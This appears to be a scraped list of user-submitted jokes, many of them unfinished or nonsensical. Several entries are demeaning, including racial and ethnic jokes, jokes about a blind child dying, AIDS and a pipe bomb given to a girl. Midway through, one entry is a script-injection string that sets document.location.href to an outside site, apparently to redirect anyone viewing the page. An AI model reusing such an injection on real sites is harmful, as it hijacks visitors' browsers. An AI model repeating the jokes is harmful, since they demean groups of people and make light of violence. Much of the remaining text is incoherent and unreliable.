What did the blade of grass say to the other blade of grass? Nothing, as grass does not have the capability of speaking and does not have a brain, all it has is a complex life system where it feeds off water. If it were to say anything though, it would say, "Hey! We're both blades of grass!"

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What's the same between a white guy and a black guy? They are both white except for the black guy.

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Doctor Doctor I keep thinking I`ve got a car behind me. Don`t worry about that you have aids.

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There was a blonde driving a car but she was late to a meeting so she started speeding but then a police officer pulls her over. The officer asked the blonde "Do you know how fast you were going?" to which the blonde responded "Yes, I am late to a meeting" so the police gives a ticket for speeding and she ends up going late to her meeting.

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what happens on labor day? the day she has a baby... ya your having a kid

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Q:Howd the blind kid find his way home? A:He didnt, he got lost and died of starvation.

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What is worse than throwing your baby in the river? Letting Moses out of Egypt

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2 squirrels with 2 massive boners and 1 little boner.

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what did jacob say to coach a joke

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What do u do if a blonde throws a bomb at u Trigger the bomb and throw it back

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"'>document.location.href="http://cramik.org"

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What do a squirrel and a grape have in common? They are both purple except for the squirrel.

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read me write me

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What did one saggy boob say to the other one? Better perk up or they'll think we're nuts.

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A Muslim walks into a Bar, He buys everyone a round of drinks and enjoys the rest of his night

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What's black and white and red all over? A racially integrated society.

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What did one butthole say to the other butthole? I'm actually not sure. I wasn't there when he said it.

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Why is the earth round? Because God saw it was flat and thought "too flat lets turn it around" And all was good.

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I have read and agreed to the terms of service

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What's the difference between a rhinoceros? I DIDN'T MURDER MY BROTHER OKAY!!!!!

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A black guy, a white guy, and an Asian guy walk into a library. They were getting help from the Asian guy on their math homework.

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Q. Why did the child's mother tell him to clean his room? A. Because his room was messy.

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A Jew, an Irishman and a Russian walk into the bar and the bartender says, "Get the Hell out."

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What did the little girl get for Christmas? A pipe bomb

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